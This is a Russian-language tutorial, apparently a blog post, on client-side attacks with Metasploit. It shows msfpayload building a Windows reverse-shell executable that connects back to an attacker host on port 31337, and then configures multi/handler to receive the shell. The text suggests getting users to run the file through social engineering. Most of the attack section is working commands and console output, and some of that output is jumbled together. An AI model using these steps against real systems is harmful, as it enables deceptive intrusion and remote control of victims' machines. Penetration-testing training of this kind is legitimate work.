Эксплуатирование уязвимостей на стороне клиента.
Эксплуатирование уязвимостей на стороне клиента, является основным фронтом атак на сегодня. Так как сетевые администраторы и разработчики программного обеспечения стремятся укрепить периметр, пентестерам необходимо найти способ заставить жертву открыть двери для них попасть в сеть. Client-side техника нападения основывается на доверчивости пользователей проявляющихся в таких случаях, как открыть неизвестную ссылку или документ, посещение вредоносного сайта.
Есть много различных способов использования Metasploit для выполнения нападений на стороне клиента и мы покажем несколько из них.
Binary Payloads.
Metasploit полон интересных и полезных функций. Одной из них является способность генерировать исполняемые модули с полезной нагрузкой Metasploit. Это может быть очень полезно в ситуациях, таких, как социальная инженерия, вы можете «спровоцировать» пользователя запустить такой файл и получить доступ к машине.
Давайте посмотрим на примере, как это сделать. Мы будем генерировать полезную нагрузку обратной оболочки(reverse shell), выполним его на удаленной системе, и получим shell. Для этого используем утилиту командной строки msfpayload. Эта команда используется для создания полезной нагрузки и будет задействована во многих случаях. Для нас представляет интерес исполняемый файл на выходе, созданный командой X, для запуска на удаленной системе. Мы создадим «реверс-шелл», который будет подсоединятся к нашей машине с прослушиваемым портом 31337. Обратите внимание, что msfpayload работает так же, как msfcli в который можно добавить букву 'O' в конец командной строки, чтобы увидеть, какие из опций доступны.
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp O Name: Windows Command Shell, Reverse TCP Inline Version: 6479 Platform: Windows Arch: x86 Needs Admin: No Total size: 287 Provided by: vlad902 vlad902@gmail.com Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC seh yes Exit technique: seh, thread, process LHOST yes The local address LPORT 4444 root@bt:/pentest/exploits/framework3# file /tmp/1.exe /tmp/1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit yes The local port Description: Connect back to attacker and spawn a command shell root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 O Name: Windows Command Shell, Reverse TCP Inline Version: 6479 Platform: Windows Arch: x86 Needs Admin: No Total size: 287 Provided by: vlad902 vlad902@gmail.com Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC seh yes Exit technique: seh, thread, process LHOST 172.16.104.130 yes The local address LPORT 31337 yes The local port Description: Connect back to attacker and spawn a command shell root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/1.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/shell_reverse_tcp Length: 287 Options: LHOST=172.16.104.130,LPORT=31337 root@bt:/pentest/exploits/framework3# file /tmp/1.exe /tmp/1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Ок, теперь исполняемый файл Windows готов к работе и в случае запуска на удаленном хосте предоставит нам shell. Дальше мы используем 'multi/handler', который является неким «эксплоитом-трансформером», который нужно настроить под нашу цель для прослушивания порта ожидающего входящие соединения от пользователя который запустил наш файл.
root@bt4:/pentest/exploits/framework3# ./msfconsole ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## =[ msf v3.3-dev + -- --=[ 371 exploits - 234 payloads + -- --=[ 20 encoders - 7 nops =[ 149 aux msf > use exploit/multi/handler msf exploit(handler) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- Exploit target: Id Name -- ---- 0 Wildcard Target
При использовании модуля 'exploit/multi/handler' нам нужно указать какую полезную нагрузку мы хотим задействовать и задать все необходимые опции.
msf exploit(handler) > set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp msf exploit(handler) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/shell/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LHOST yes The local address LPORT 4444 yes The local port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set LHOST 172.16.104.130 LHOST => 172.16.104.130 msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) >
Оставить комментарий или два